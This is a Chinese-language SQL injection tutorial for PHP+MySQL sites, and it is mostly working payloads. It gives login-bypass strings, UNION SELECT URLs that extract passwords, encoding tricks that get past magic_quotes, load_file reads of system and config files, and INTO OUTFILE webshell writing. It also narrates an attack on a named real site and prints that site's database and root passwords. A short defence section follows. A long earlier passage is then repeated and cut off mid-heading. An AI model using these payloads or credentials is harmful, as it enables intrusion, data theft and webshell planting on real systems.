我们构建注入语句吧
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到 sql语句中成了
select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入 攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName='"
.$HTTP _POST _VARS["UserName"]."' and
Password='". $HTTP _POST _VARS["Password"]."'";
$result=my sql _query($query);
$data=my sql _fetch _array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆";
exit;
}
.........
?>
Username和password没有经过任何处理直接放到 sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和 密码框里都输入
‘or''='
带入 sql语句中成了
select * from alphaauthor where UserName=''or''='' and Password=''or''=''
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和 密码都输入'or'a'='a
Sql成了
select * from alphaauthor where UserName=''or'a'='a' and Password=''or'a'='a'
2.
用户名和 密码都输入'or 1=1 and ‘'='
Sql成了
select * from alphaauthor where UserName=' 'or 1=1 and ‘'='' and Password=' 'or 1=1 and ‘'=''
用户名和 密码都输入'or 2>1 and ‘'='
Sql成了
select * from alphaauthor where UserName=' 'or 2>1 and ‘'='' and Password=' 'or 2>1 and ‘'=''
3.
用户名输入'or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=' 'or 1=1 # and Password='anything'
后面部分被注释掉了,当然返回还是真哦。
4.
假设admin的id=1的话你也可以
用户名输入'or id=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=' 'or id=1 # and Password='anything'
如图18
看看效果图19
怎么样?直接登陆了哦!
俗话说的好,只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。
2)第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入 漏洞, 代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl _users
如图20
看看,我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用 技巧。
二:下面将要进入magic _quotes _gpc=On时候的注入 攻击教学环节了
当magic _quotes _gpc=On的时候,交的变量中所有的 ' (单引号),
" (双引号), / (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。
这里我们要用到一些字符串处理函数先,
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照my sql中文参考手册7.4.10。
char() 将参数解释为整数并且返回由这些整数的ASCII 代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。
//login.php
......
$query="select * from ".$art _system _db _table['user']."
where UserName=$username and Password='".$Pw."'";
......
?>
假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(我们将在光盘中提供16进制和ascii转换 工具)
好了直接在浏览器里输入:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成:
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21
正如我们期望的那样,他顺利执行了,我们得到我们想要的。
当然咯,我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧,
或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于'alpha'
注意是alpha上加引号,表示alpha字符串。
我们知道在my sql中如果执行
my sql> select * from dl _users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
my sql> select * from dl _users where username='alpha';
这样才是正确的。
如果你把#号也放到那里去了,就成了'alpha#'
带入 sql语句中
select * from dl _users where username='alpha#';
当然是什么也没有了,因为连alpha#这个用户都没有。
好,下面我们再来看个例子,
//display.php
......
$query="select * from ".$art _system _db _table['article']."
where type=$type;
......
?>
代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
假设type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)
我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入 sql语句中为:
select * from ".$art _system _db _table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我们的用户名和 密码照样出来了哦!没有截图,想像一下咯:P
2) 或许有人会问,在magic _quotes _gpc=On的情况下功能强大的load _file()还能不能用呢?
这正是我们下面要将的问题了,load _file()的使用格式是load _file(‘文件路径')
我们发现只要把‘文件路径'转化成char()就可以了。试试看哦
load _file(‘c:/boot.ini')转化成
load _file(char(99,58,47,98,111,111,116,46,105,110,105))
图22
放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load _file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图23
看看,我们看到了boot.ini的内容了哦。
很可惜的是into outfile'' 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile'' 那就是....(先卖个关子,下面会告诉你)
三:一些注入 技巧,很多都是个人发现哦
1.union select的 技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select _expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24
看看 软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl _users
如图25
哈哈,这种方法只要看看就可以大概猜到了。
2.load _file读写文件的 技巧
不知道你有没有发现过在我们用load _file()读写php文件时不能在网页中显示。例如:
'C:/apache/htdocs/site/lib/ sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如图26
发现在文章内容的地方本来该显示 sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源 代码先
图27
哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4. md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是 sql语句中的md5。当然别的 sql中的函数也是可以绕过的,道理相同哦。
看例子先:
//login.php
......
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
......
?>
我们直接在浏览器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入 sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5. 核心 技术,利用php+my sql注入 漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的my sql连接信息放在/lib/ sql.inc.php里
1)适用于magic _quotes _gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的 木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好,我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29
爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic _quotes _gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic _quotes _gpc=Off的时候啦。
我们直接读他的配置文件,用 技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到 sql.inc.php内容为
好了我们知道了my sql的root 密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root 密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:
#
# 数据表的结构 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的 数据库内容 `te`
#
INSERT INTO te VALUES (' ');
Ok,是我们用select * from table into outfile''的时候了
直接在phpmyadmin的 sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31
Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32
好爽的一个webshell是吧!哈哈,我也很喜欢。
不过不知道大家有没有发现我们是在magic _quotes _gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic _quotes _gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
//reg.php
......
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email','2')" ;
......
?>
我们在email的地方输入
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了,我们又有了我们的wenshell了哦。
7.my sql的跨库查询
大家是不是一直听说my sql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load _file来直接读出my sql中data文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下my sql的data文件夹下的结构
Data文件夹下有按 数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
My sql中有alpha 数据库,在alpha库中有alphaauthor和alphadb两个表,
Alpha文件夹内容如下图33
其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随my sql的版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个 数据库yminfo210存在,且存在表user,user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下,load _file默认所在的目录是my sql下的data目录,所以我们用
load _file('yminfo210/user.myd'),当然load _file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的 数据库文件夹下。
结果如图34
我们看读出来的内容
舼? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423
虽然乱码一堆,但是我们还是可以看出用户名是admin, 密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!
说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有 漏洞?我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36
好,我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37
注意看图中没有显示程序名,而且还附带了
Warning: my sql _fetch _object(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/show.php on line 45
Warning: my sql _fetch _array(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/global.php on line 578
晕了,网站路径出来了,那可就死定了哦!
我们继续,直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38
好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39
看看简介处显示为12,我们可以猜测此处应该为字符型!
Ok,我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看源 代码,至于为什么用,我们后面将讲到
显示出它的源 代码
如图40
因为在show.php中有一句
如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西,应该放这配置文件,ok继续
d:/web/heibai/down/include/config.inc.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
显示结果如图41
里面内容主要有
.......................
ymDown (夜猫下载系统) 是一个应用于网站提供下载 服务的的程序
// ------------------------- -------- ------------------------- //
// 常规设置 //
// ------------------------- -------- ------------------------- //
// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库 密码
$dbname = "download"; // 数据库名
// Cookie 名称
$cookie _name = "heibai";
// 版本号
$version = "1.0.1";
// 数据表名
$down _table = ymdown;
$down _user _table = ymdown _user;
$down _sort1 _table = ymdown _sort1;
$down _sort2 _table = ymdown _sort2;
晕原来用的是夜猫的下载系统,而且我们知道了
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库 密码
说不定呆会有用哦。
用的表名是默认的表名,我们知道夜猫的管理员 密码放在ymdown _user中
我们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown _user
结果如图42
根据提示我们知道文件大小处的是username,应用平台处的是password(对照图36)
即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。
想直接连接my sql,发现telnet端口并没有开放。我们去看看别的吧!
http://www.heibai.net/vip/article/login.php
看起来像是 会员的登陆哦,我们看看先
d:/web/heibai/vip/article/login.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19
结果如图43:
其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
当然了,我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
转成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
结果如图44
显示了很多好东西哦
$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库 密码
$dbname = "article"; // 数据库名
$ymcms _user _table = "user";
$ymcms _usergroup _table = "usergroup";
$ymcms _userrace _table = "userrace";
表还是默认的表,而且出来了root的 密码
要是能连上它的my sql该多好啊,那样我们就可以into outfile了
痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic _quotes _gpc = On
55555555,痛苦中,我们看看能不能搞几个 会员账号
猜测 会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
结果如图45:
晕了,竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
结果如图46
晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic _quotes _gpc=Off我们还可以into outfile来看看,可是......
郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧!
文中所述问题已经通知星坤了!
四:php+my sql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+my sql注射 攻击的防范方法。
大家看到,在magic _quotes _gpc=On的时候,很多的注射 攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic _quotes _gpc=On,而且与magic _quotes _gpc=On也不冲突,我们可以这样过滤
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
对于id型我们可以利用intval()函数,intval()函数可以将变量转换成整数类型,这样就可以了。
我们可以这样
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢?
我们可以先用addslashes()过滤一下,然后再过滤"%"和" _".
例如:
$search = addslashes($search);
$search = str _replace(" _","/ _",$search);
$search = str _replace("%","/%",$search);
记得,可千万别在magic _quotes _gpc=On的情况下替换/为//,如下:
$password=str _replace("//","",$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。
还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入 技术的发展了。
Username=md5($HTTP _POST _VARS["username"]);
Passwd=md5($HTTP _POST _VARS["passwd"]);
我的后台登陆就是这样子的哦。
后记:
本文就讲这么多了,注入是一门灵活的 技术,有很多 技术还在继续发展中,有任何问题和意见可以到炎黄兵团(www.cnwill.com)来找我,也欢迎对文中内容批评指正
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到 sql语句中成了
select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入 攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName='"
.$HTTP _POST _VARS["UserName"]."' and
Password='". $HTTP _POST _VARS["Password"]."'";
$result=my sql _query($query);
$data=my sql _fetch _array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆";
exit;
}
.........
?>
Username和password没有经过任何处理直接放到 sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和 密码框里都输入
‘or''='
带入 sql语句中成了
select * from alphaauthor where UserName=''or''='' and Password=''or''=''
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和 密码都输入'or'a'='a
Sql成了
select * from alphaauthor where UserName=''or'a'='a' and Password=''or'a'='a'
2.
用户名和 密码都输入'or 1=1 and ‘'='
Sql成了
select * from alphaauthor where UserName=' 'or 1=1 and ‘'='' and Password=' 'or 1=1 and ‘'=''
用户名和 密码都输入'or 2>1 and ‘'='
Sql成了
select * from alphaauthor where UserName=' 'or 2>1 and ‘'='' and Password=' 'or 2>1 and ‘'=''
3.
用户名输入'or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=' 'or 1=1 # and Password='anything'
后面部分被注释掉了,当然返回还是真哦。
4.
假设admin的id=1的话你也可以
用户名输入'or id=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=' 'or id=1 # and Password='anything'
如图18
看看效果图19
怎么样?直接登陆了哦!
俗话说的好,只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。
2)第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入 漏洞, 代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl _users
如图20
看看,我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用 技巧。
二:下面将要进入magic _quotes _gpc=On时候的注入 攻击教学环节了
当magic _quotes _gpc=On的时候,交的变量中所有的 ' (单引号),
" (双引号), / (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。
这里我们要用到一些字符串处理函数先,
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照my sql中文参考手册7.4.10。
char() 将参数解释为整数并且返回由这些整数的ASCII 代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。
//login.php
......
$query="select * from ".$art _system _db _table['user']."
where UserName=$username and Password='".$Pw."'";
......
?>
假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(我们将在光盘中提供16进制和ascii转换 工具)
好了直接在浏览器里输入:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成:
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21
正如我们期望的那样,他顺利执行了,我们得到我们想要的。
当然咯,我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧,
或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于'alpha'
注意是alpha上加引号,表示alpha字符串。
我们知道在my sql中如果执行
my sql> select * from dl _users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
my sql> select * from dl _users where username='alpha';
这样才是正确的。
如果你把#号也放到那里去了,就成了'alpha#'
带入 sql语句中
select * from dl _users where username='alpha#';
当然是什么也没有了,因为连alpha#这个用户都没有。
好,下面我们再来看个例子,
//display.php
......
$query="select * from ".$art _system _db _table['article']."
where type=$type;
......
?>
代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
假设type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)
我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入 sql语句中为:
select * from ".$art _system _db _table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我们的用户名和 密码照样出来了哦!没有截图,想像一下咯:P
2) 或许有人会问,在magic _quotes _gpc=On的情况下功能强大的load _file()还能不能用呢?
这正是我们下面要将的问题了,load _file()的使用格式是load _file(‘文件路径')
我们发现只要把‘文件路径'转化成char()就可以了。试试看哦
load _file(‘c:/boot.ini')转化成
load _file(char(99,58,47,98,111,111,116,46,105,110,105))
图22
放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load _file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图23
看看,我们看到了boot.ini的内容了哦。
很可惜的是into outfile'' 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile'' 那就是....(先卖个关子,下面会告诉你)
三:一些注入 技巧,很多都是个人发现哦
1.union select的 技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select _expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24
看看 软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl _users
如图25
哈哈,这种方法只要看看就可以大概猜到了。
2.load _file读写文件的 技巧
不知道你有没有发现过在我们用load _file()读写php文件时不能在网页中显示。例如:
'C:/apache/htdocs/site/lib/ sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如图26
发现在文章内容的地方本来该显示 sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源 代码先
图27
哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4. md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是 sql语句中的md5。当然别的 sql中的函数也是可以绕过的,道理相同哦。
看例子先:
//login.php
......
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
......
?>
我们直接在浏览器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入 sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5. 核心 技术,利用php+my sql注入 漏洞直接写入webshell。。
